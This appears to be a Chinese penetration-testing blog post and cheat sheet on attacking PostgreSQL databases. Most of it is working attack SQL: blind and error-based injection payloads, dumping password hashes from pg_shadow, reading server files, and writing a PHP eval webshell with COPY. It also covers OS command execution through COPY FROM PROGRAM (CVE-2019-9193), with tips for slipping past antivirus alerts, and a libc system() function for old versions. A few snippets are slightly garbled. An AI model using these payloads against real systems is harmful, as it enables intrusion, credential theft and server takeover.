最近上班想摸鱼,不知道学啥,因此有了这篇文章(^▽^)
一、PostgreSQL简介:
PostgreSQL数据库大家肯定又陌生又熟悉,偶尔会出现在各大渗透测试文章里SQL注入相关的部分,但是存在感又远远不如oracle、mssql和mysql。
简单对这几种数据库进行对比
Oracle:闭源,商用收费,功能性能都很强大,而且跨平台使用,但是操作运维麻烦
mssql:闭源,商用收费,性能较好,不能跨平台(linux版本没啥人用)运维比较简单
mysql:开源,免费,灵活,而且现在已经被oracle公司收购了,性能比较一般
PostgreSQL:开源,免费,灵活,性能较好。
那其实通过上面简单的介绍,可以看出这四种关系型数据库oracle和mssql是类似的;而mysql和PostgreSQL也是类似的,那么为什么mysql那么多人用而PostgreSQL没人用呢?实际上不是因为PostgreSQL不够优秀,而是因为mysql早期的推广太好了,在PHP风靡的时代,几乎全部都是搭配的MYSQL,因此就冷落了PostgreSQL,从而导致一直没有比较成熟的相关产品;并且因为没有背靠公司,所以用的人就比较少。
默认端口为5432
PostgreSQL和MYSQL的使用方法是非常像的
搭建的环境postgresql-10.20-1-windows-x64
小Tips:
1、postgresql默认情况下除本机外的机器是不能连接的,要想连接需要配置一下文件pg_hba.conf,因此就算拿到了账户密码也不一定登录的上
2、postgresql默认是支持堆叠的,因为支持堆叠,所以在有时候可以直接通过sql注入拿下网站
二、注入基础-简单命令
这一部分命令就去网上抄抄写写了
SELECT user;SELECT current_user;SELECT session_user;SELECT usename FROM pg_user;SELECT getpgusername();

SELECT CURRENT_SCHEMA(); //查看当前权限publicSELECT version(); //查看版本PostgreSQL 10.20, compiled by Visual C++ build 1800, 64-bitSELECT current_database() //查看当前数据库PostgreSQLdbselect * from information_schema.SCHEMATA; //pgsql也和mysql一样有information_schema这个库select usename, passwd from pg_shadow; //获取pgsql账户和密码"postgres" "md5ea413b4fad53ddb9cb293199bdc88034"这个密码的hash是a123456.postgres即 md5(passwd+username)select datname from pg_database; // 获取所有的库select array_to_string(array_agg(datname),',') from pg_database; // 获取所有的库
order by
postgresql支持和mysql语法一样的order by 注入
select * from table_name from column_name = 'xxx' order by 3
报错盲注
1、cast
将一种格式转为另外一种格式
select '1' and 1=cast(version() as int);


2、::运算符
也是将一种格式转为另外一种格式
select version()::text::intselect user::text::int
时间盲注
//如果parameter是整数:select pg_sleep(5); -- -//如果参数是字符串:select '1' || pg_sleep(5); -- -//9.4及之后版本新增新的函数select pg_sleep_for('5 sec')//查看当前时间select now();//睡到那个时间,离多少秒就睡多少秒select pg_sleep_until('2022-3-18 17:08:59');
模拟注入情况,利用case when来进行时间注入
select case when(ascii(substr((select datname from pg_database limit 1 offset 0),1,1))>97) then (select 1 from pg_sleep(5)) else 1 enduserid=asdasd' and 1=case when(ascii(substr((select datname from pg_database limit 1 offset 0),1,1))>97) then (select 1 from pg_sleep(5)) else 1 end --
一些特性
在PostgreSQL中 || 是 连接符
select '1'||2||3;运行结果: 123select '1'||'a'||3;运行结果: 1a3select 1||2||3;运行结果: 爆错 error: operator does not exist: integer || integer
like 的奇怪特性
select '1' like '1';运行结果: 正常运行select '1' like 'a';运行结果: 正常运行select 'a' like 1;运行结果: error: operator does not exist: unknown ~~ integerselect 1 like 1;运行结果: error: operator does not exist: integer ~~ integerHINT: 没有匹配指定名称和参数类型的操作符. 您也许需要增加明确的类型转换.
使用 $$ 替代 单引号
# 普通情况-单引号输出内容select '1' == select $1$SELECT $xxx$123$xxx$ == SELECT '123';
使用 替代 单引号写shell
命令: COPY (select <?php @eval($_POST[1]);?>) to C:\2.php$$;
命令执行函数和RCE
读取文件
PostgreSQL这点和mssql有些相似,将一些系统的命令执行集成在某些函数里,方便调用
//列目录select pg_ls_dir('./');//读取文件内容select pg_read_file('PG_VERSION');//如果数据太大了,可以读取一部分内容select pg_read_file('postgresql.auto.conf', 66, 12);//但是该函数也有局限性,有些文件内容默认无法读取,例如select pg_ls_dir('../');ERROR: 错误: 路径必须在当前目录或其子目录下select pg_read_file('../PG_VERSION');ERROR: 错误: 路径必须在当前目录或其子目录下postgres=# select pg_read_file('/etc/passwd');select pg_read_file('E:/111.txt');ERROR: 错误: 不允许使用绝对路径ERROR: absolute path not allowedpostgres=# select pg_read_file('../../../../etc/passwd');ERROR: path must be in or below the current directory
可以看到,原生的postgresql存在很大的局限性,因此可以使用copy来读取文件
create table docs (data TEXT); //创建一个表copy docs from 'C://111.txt'; //表里写入内容select * from docs limit 10; //读取文件内容

写shell
支持下面两种思路的写shell方式
;create table shell(shell text not null);;insert into shell values(一句话木马);;copy shell(shell) to '/www/shell.php';
COPY (select $$<?php @eval($_POST[1]);?>$$) to $$E:\2.php$$;如果遇到权限不对则报错ERROR: 错误: 为了写入, 无法打开文件 "C:\2.php": Permission deniedHINT: COPY TO instructs the PostgreSQL server process to write a file. You may want a client-side facility such as psql's \copy.
CVE-2019-9193
在版本9.3开始,PostgreSQL新增了一个”COPY TO/FROM PROGRAM”的功能
允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令
(和xp_cmdshell有点像我感觉)
该漏洞直到11.2版本被修复
DROP TABLE IF EXISTS cmd_exec; //--删除某个已存在的数据表CREATE TABLE cmd_exec(cmd_output text); //--创建一个数据包表COPY cmd_exec FROM PROGRAM 'whoami';SELECT * FROM cmd_exec;
nt authority/network service 权限
坑点1:
值得的一提的是在“COPY cmd_exec FROM PROGRAM ‘whoami’;”会触发杀软的告警,如执行certutil或者whoami(qq管家拦截了,360是不拦截whoami的)
如下图所示,只输入certutil 后面没有跟任何参数也会被拦截
坑点2:
对于命令执行,如果命令执行的结果如果存在中文,则会进行报错,解决该问题其实非常简单
只需要使用@echo off关闭回显+certutil即可
COPY cmd_exec FROM PROGRAM 'ipconfig > 12233.txt;COPY cmd_exec FROM PROGRAM 'certutil -encode 12233.txt 12345.txt |@echo off';select pg_read_file('12345.txt')

工具命令执行也避免不了这个问题
Linux低版本命令执行
在postgresql版本小于8.2时可用
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;select system('id');
其他方式:
https://www.anquanke.com/post/id/215954
参考文章:
本文部分内容来自phpoop参考学习
https://xz.aliyun.com/t/10202
https://xz.aliyun.com/t/8659
https://xz.aliyun.com/t/8621
https://xz.aliyun.com/t/4168
